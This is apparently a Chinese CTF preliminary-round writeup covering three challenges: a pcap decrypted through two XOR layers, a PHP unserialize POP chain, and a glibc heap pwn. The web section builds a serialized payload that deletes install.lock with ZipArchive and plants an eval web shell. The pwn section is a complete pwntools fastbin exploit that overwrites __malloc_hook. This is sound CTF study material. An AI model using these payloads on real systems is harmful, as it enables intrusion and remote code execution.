SUS@铸剑杯 初赛 writeup

Misc

bb84

`你发现了一家公司的量子密钥分发系统，基于 BB84 协议，用于保护敏感数据传输。系统声称通过量子力学原理确保了密钥的安全性。然而，你注意到他们的实现可能存在漏洞。你的任务是分析通信数据包，找到协议实现中的弱点，恢复加密密钥，并解密出机密数据`

1. **抓包与初始线索**

- 在 `bb84_attack.pcapng` 中，首先出现三条从 TCP 5000 → 40001/40002/40003 的明文控制包，内容包括：
  - `SEED:123456789`
  - `XOR_KEY:8660ace90c0352f3`
  - 基串：`x++x+x+xx++x+xxxxx++x+xxxxxx++x+`
- 随后是从端口 40004–40099 的 96 个数据包，负载长度约 34–38 字节。

---

2. **第一层解密：8 字节循环 XOR**

- 根据控制包给出的 `XOR_KEY`，对每个 payload 进行按 8 字节周期的循环异或：

  dec1[i] = payload[i] ^ XOR_KEY[i mod 8]

  解出结果前缀可见部分 ASCII（如 owh|r...），但整体仍呈伪随机。

3. 第二层解密：2 字节循环 XOR

   观察到解出的前缀 owh|r 距常见的 flag{ 仅差数个位，因此推测尚有一层短周期 XOR。

   将 owh|r 对齐 flag{ 求键流，得到 5 字节模式 09 1B 09 1B 09。

   测试不同周期后确认：周期为 2 的 XOR（键：09 1B）可成功还原全部可读 ASCII。

因此二层解密为：

dec2[i] = dec1[i] ^ (0x09, 0x1B)[i mod 2]

4. 解密得到的 flag 候选

对 96 个包全部进行两层 XOR 后，都出现类似：
flag{数字-This is a fake flag}
的固定模板，数字各不相同。

只有一条例外，为纯十六进制内容：

flag{9175782b167d00375b412a8dbd1df763}

在 96 条结果中唯一不属于“fake flag”模板，可判定为真正的 flag。

5. 最终正确 flag

flag{9175782b167d00375b412a8dbd1df763}

6. 验证脚本示例

```
from scapy.all import rdpcap
import re

XOR_KEY = bytes.fromhex('8660ace90c0352f3')
ks = bytes([0x09, 0x1B])  # 第二层 2 字节循环键

flags = []
for p in rdpcap('bb84_attack.pcapng'):
    if p.haslayer('TCP') and p['TCP'].dport >= 40004:
```

```
    data = bytes(p['TCP'].payload)
    x1 = bytes(data[i] ^ XOR_KEY[i % len(XOR_KEY)] for i in range(len(data)))
    x2 = bytes(x1[i] ^ ks[i % len(ks)] for i in range(len(x1)))
    m = re.search(b'flag\\{[^}]*\\}', x2)
    if m:
        flags.append(m.group().decode())

print(sorted(set(flags)))
```

输出中唯一不是 “fake flag” 的项即为：

flag{9175782b167d00375b412a8dbd1df763}

7. 漏洞分析

虽题目声称基于 BB84，但实现严重偏离量子密钥分发理念：

种子、XOR 密钥、基串均通过经典信道明文传输。

后续“密文”仅做简单循环异或，无任何量子安全性质。

因此攻击者只需被动抓包即可完整还原所用密钥与全部明文，最终直接得到真正的 flag。

最终提交：flag{9175782b167d00375b412a8dbd1df763}

Web

浅析PHP原生类

`你是一家金融科技公司的安全工程师。公司的核心交易平台依赖一个高性能的日志聚合微服务来收集和处理来自各个业务模块的日志。为了追求极致的性能和“零依赖”，该服务的早期版本直接使用unserialize来处理序列化后的日志事件流。`

使用ZipArchive原生类删除lock文件即可

Code block

```php
<?php

class install {
    public $username;
    public $password;

    public function __wakeup()
    {
        // echo "Hello,".$this->username;
    }

    public function __toString()
    {
        // ($this->username)();
        // return "Guest";
    }

    public function __destruct()
    {
        // if(file_exists("install.lock")){
        //     exit("Already installed");
        // }else{
        //     $config = [
        //         'username' => $this->username,
        //         'password' => md5($this->password)
        //     ];
        //     file_put_contents('config.php', serialize($config));
        //     file_put_contents('install.lock', "ok");
        // }
    }
}

class Until {
    public $a;
    public $b;
    public $c;

    public function __invoke()
    {
```

```php
        // $this->write($this->a, $this->b, $this->c);
    }

    public function __toString()
    {
        // return "HappyUnserialize";
    }

    public function write($cla, $file, $cont)
    {
        // $obj = new $cla();
        // $obj->open($file,$cont);
        // return True;
    }
}

$install = new install();
$install->username = new install();
$install->username->username = new Until();
$install->username->password = "<?php eval(\$_REQUEST['cmd']); ?>";

$install->username->username->a = 'ZipArchive';
$install->username->username->b = 'install.lock';
$install->username->username->c = ZipArchive::OVERWRITE;

echo serialize($install)."\n";
echo urlencode(serialize($install));
```

访问config.php cat /flag

pwn

我不吃牛肉

```python

from pwn import *

# patchelf --set-interpreter ./ld-linux-x86-64.so.2 ./ts_model
# patchelf --replace-needed libc.so.6 ./libc.so.6 ./ts_model

context.log_level = "debug"
context(arch="amd64", os="linux")
context.terminal = ['tmux','splitw','-h']
```

```python

def p(s,m):
    if m == 0:
        io = process(s)
    else:
        if ":" in s:
            x = s.split(":")
            addr = x[0]
            port = int(x[1])
            io = remote(addr,port)
        elif " " in s:
            x = s.split(" ")
            addr = x[0]
            port = int(x[1])
            io = remote(addr,port)
        else:
            error(f"{s} may be some error")
    return io

def gg():
    gdb.attach(io)
    raw_input()

def gg2(x):

    gdb.attach(io,x)
    raw_input()

def one_gadget(lib,libc_base):
    log.progress('Leak One_Gadgets...')
    one_ggs = str(subprocess.check_output(['one_gadget','--raw',lib]),encoding = "utf-8").split(' ')
    ogg = list(map(int,one_ggs))
    for i in range(len(ogg)):
        ogg[i] += libc_base
    print(list(map(lambda x: hex(x), ogg)))
    return ogg

s   = lambda x  : io.send(x)
sa  = lambda x,y: io.sendafter(x, y)
sla = lambda x,y: io.sendlineafter(x, y)
sl  = lambda x  : io.sendline(x)
rv  = lambda x  : io.recv(x)
ru  = lambda x  : io.recvuntil(x)
rvl = lambda    : io.recvline()
lg  = lambda x,y: log.info(f"\x1b[01;38;5;214m {x} => {hex(y)} \x1b[0m")
ia  = lambda    : io.interactive()
```

```python
uu32 = lambda x   : u32(x.ljust(4,b'\x00'))
uu64 = lambda x   : u64(x.ljust(8,b'\x00'))
l32  = lambda     : u32(io.recvuntil(b"\xf7")[-4:].ljust(4,b"\x00"))
l64  = lambda     : u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))

io = p("./pwn1/pwn",0)
def ch(t):
    sla(b"choice:",str(t).encode())

# 2: edit 4: free 5: get  8: add
# ch(8)
def add(i,s):
    ch(8)
    sla(b"index:",str(i).encode())
    sla(b"size:",str(s).encode())

def delete(i):
    ch(4)
    sa(b"index:",str(i).encode())

def edit(i,l,c):
    ch(2)
    sla(b"index:",str(i).encode())
    sla(b"length:",str(l).encode())
    sa(b"content:",c)

def get(i):
    ch(5)
    sla(b"index:",str(i).encode())

add(0,0x90)
add(1,0x60)
add(2,0x60)
add(3,0x60)
delete(0)
get(0)
t = l64()
libc_base = t - 0x7f3a62ff2b78 +0x7f3a62c2f000 -0x1000
lg("libc base",libc_base)
delete(1)
delete(2)
glibc = ELF("./pwn1/libc.so.6")
# glibc = ELF("/glibc/2.23/64/lib/libc.so.6")
lg("123",libc_base + glibc.sym["__malloc_hook"] - 0x1b - 8 )
edit(2,0x60,p64(libc_base + glibc.sym["__malloc_hook"] - 0x1b - 8 ))
add(4,0x60)
add(5,0x60)
```

```
ogg = [0x4527a, 0xf03a4, 0xf1247]
edit(5,0x60,b"a"*11  + p64(libc_base + ogg[0]) + p64(libc_base + glibc.sym["realloc"] +12))
add(6,0x50)
ia()
```